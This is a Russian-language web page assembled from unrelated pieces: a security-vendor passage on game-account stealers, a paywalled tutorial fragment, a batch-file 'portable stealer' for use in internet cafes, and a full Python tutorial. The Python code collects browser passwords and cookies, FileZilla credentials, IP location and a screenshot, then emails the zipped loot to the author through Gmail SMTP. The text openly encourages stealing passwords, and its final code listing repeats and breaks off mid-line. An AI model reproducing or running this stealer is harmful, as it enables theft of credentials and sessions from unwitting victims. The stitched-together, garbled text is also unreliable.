Стиллер на python с отправкой по почте
Password Stealer — это зловред, который ворует данные учетных записей. В сущности, стилер очень похож на банковский троян, только вместо того чтобы перехватывать или подменять введенные данные, он ворует уже сохраненную на компьютере информацию. Например, логины и пароли, записанные в браузере, файлы cookies и просто какие-то файлы с жесткого диска зараженного устройства. Более того, бывает так, что воровать игровые аккаунты — просто одна из функций стилера, а пароль от онлайн-банка его интересует ничуть не меньше.
Работают стилеры по-разному. Например, есть злобный троян-стилер Kpot (также известный как Trojan-PSW.Win32.Kpot). Он распространяется в основном через почтовый спам с вложениями, которые, используя уязвимости (например, в Microsoft Office), загружают на компьютер сам зловред.
Дальше стилер передает на командный сервер информацию об установленных на компьютере программах и в ответ получает список дальнейших действий. Среди них, например, возможность воровать cookie-файлы, аккаунты Telegram и Skype, а также много чего еще.
Помимо прочего, Kpot умеет воровать файлы с расширением .config из папки %APPDATA%\Battle.net, которая, как несложно догадаться, имеет отношение к сервису Battle.net — фирменному лончеру для игр Blizzard. В этих файлах содержится токен сессии игрока. То есть собственно логин и пароль в руки злоумышленника не попадают, но с помощью токена он сможет некоторое время притворяться пользователем, у которого он этот токен украл.
Зачем это надо мошенникам? Очень просто: все ценные внутриигровые предметы они быстренько перепродадут, выручив с этого неплохие деньги. Такие предметы — и возможность их перепродать — есть, например, в World of Warcraft и в Diablo III.
Или, скажем, есть зловред, который целится в другой сервис — Uplay, фирменный лончер для игр Ubisoft. Этого зловреда зовут Okasidis, наши решения ловят его под общим вердиктом Trojan-Banker.MSIL.Evital.gen. В отношении воровства игровых аккаунтов он ведет себя точно так же, как троян Kpot, разве что ворует два конкретных файла — %LOCALAPPDATA%\Ubisoft Game Launcher\users.dat и %LOCALAPPDATA%\Ubisoft Game Launcher\settings.yml.
Тот же Uplay интересует и зловреда по имени Thief Stealer (детектируется под общим вердиктом — как HEUR:Trojan.Win32.Generic). Разве что этот, не стесняясь, тащит вообще все файлы из папки %LOCALAPPDATA%\Ubisoft Game Launcher\.
Также Uplay, Origin и Battle.net интересуют зловреда BetaBot (детектируется как Trojan.Win32.Neurevt). Но этот троян работает иначе: если пользователь посещает URL, содержащий определенные ключевые слова (например, любые адреса, в которых есть слова uplay или origin), зловред включает сбор данных из форм на этих страницах. Таким образом, введенные на таком сайте логин и пароль от аккаунта попадут злоумышленникам.
Во всех трех случаях пользователь, скорее всего, ничего не заметит — троян никак не выдает себя на компьютере, не выводит окон с требованиями, а просто тихонько ворует файлы или данные.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле , оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).
Если условие выполняется, то получаем базу паролей браузера на основе Chrome, если — Firefox. Идентификатор указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции , передавая ей в качестве аргумента значение , которое означает:
Функция устарела, и в Microsoft рекомендуют использовать вместо нее . Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:
После этого функция совмещает результат работы с идентификатором .
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
Теперь подключаемся к базе командой . Ее прототип:
Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение , в противном случае возвращается код ошибки.
INFO
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию. Теперь начинаем непосредственно обрабатывать данные в базе
Для этого воспользуемся функцией
Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией .
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!
Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя!
Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»
Создаём стиллер паролей для браузеров
Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.
Создаём текстовый документ и пишем туда следующий код:
@echo offmd %~d0Mozillamd %~d0Operamd %~d0GoogleCD/D %APPDATA%OperaOperacopy /y wand.dat %~d0Operacopy /y coockies.dat %~d0Operacd %AppData%MozillaFirefoxProfiles*.def-aultcopy /y coockies.sqlite %~d0Mozillacopy /y key3.db %~d0Mozillacopy /y signons.sqlite %~d0Mozillacopy /y AppData%MozillaFirefoxProfiles*.def-ault %~d0Mozillacd %localappdata%GoogleChromeUser DataDefaultcopy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%~d0/Google”ATTRIB -R -A -S -Hattrib +h %~d0Mozillaattrib +h %~d0Operaattrib +h %~d0Googledel: Autorun.inf
Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.
Теперь нужно создать файл autorun.inf со следующей командой:
Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.
Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.
Как защититься от троянов, ворующих аккаунты в игровых сервисах
В принципе защищать аккаунты в игровых сервисах нужно так же, как и все остальное. В том числе и от стилеров. Следуйте советам ниже — и никакие троянские воры будут вам не страшны:
- Защитите аккаунт при помощи двухфакторной аутентификации. У Steam есть Steam Guard, у Battle.net — Blizzard Authenticator, Epic Games Store предлагает выбор между аутентификацией через приложение-аутентификатор, SMS или почту. Если ваш аккаунт защищен таким способом, то украденных логина и пароля будет недостаточно для входа в него.
- Не скачивайте моды с сомнительных сайтов и пиратки. Злоумышленники знают тягу людей к бесплатному и пользуются ей, поэтому в кряках, читах и модах нередко можно встретить зловредов.
- Пользуйтесь надежным защитным решением. Например, Kaspersky Security Cloud всех этих стилеров ловит и не дает им воровать данные.
- Не выключайте антивирус во время игры. Иначе получится так, что антивирус вы выключили, собрались залогиниться в сервис — и тут-то дремавший прежде стилер и украдет пароли. В том же Kaspersky Security Cloud есть специальный игровой режим, который не позволяет антивирусу сильно загружать машину во время игры. Поэтому на производительность и частоту кадров он не повлияет, а вот за безопасностью приглядит.
Стиллер паролей на python с отправкой на почту
Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.
Приступим к делу
Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.
Все нужные модули
pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random
Собираем с пользователя все его данные.
################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим
Собираем пароли с хрома.
################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #создаем txt с его расположением file.write(str(Chrome()) + '\n')#записываем данные file.close()
Собираем куки с хрома.
################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close()
################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close()
Пароли с хромиума.
################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close()
Куки с хромиума.
################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close()
################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close()
################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close()
################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close()
################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close()
Пароли с яндекс браузера.
################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close()
################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close()
Данные с FILEZILLA.
################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close()
Делаем скриншот экрана.
################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')
Тут записываем наши тхт в один ZIP — doc.
################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close()
Вот он наш ZIP по всеми данными.
################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip'
################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'тут ваша новая почта с которой отправится' msg['To'] = 'почта на которую отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext)
Тут мы создаем вложение для нашего doc’а ZIP.
################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part)
Здесь мы собственно производим отправку на емаил с помощью SMTP
################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты') s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string()) s.quit() i = input()
Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.
Весь код
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") file.write(all_data) file.close() ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") file.write(str(Chrome()) + '\n') file.close() ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close() ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + 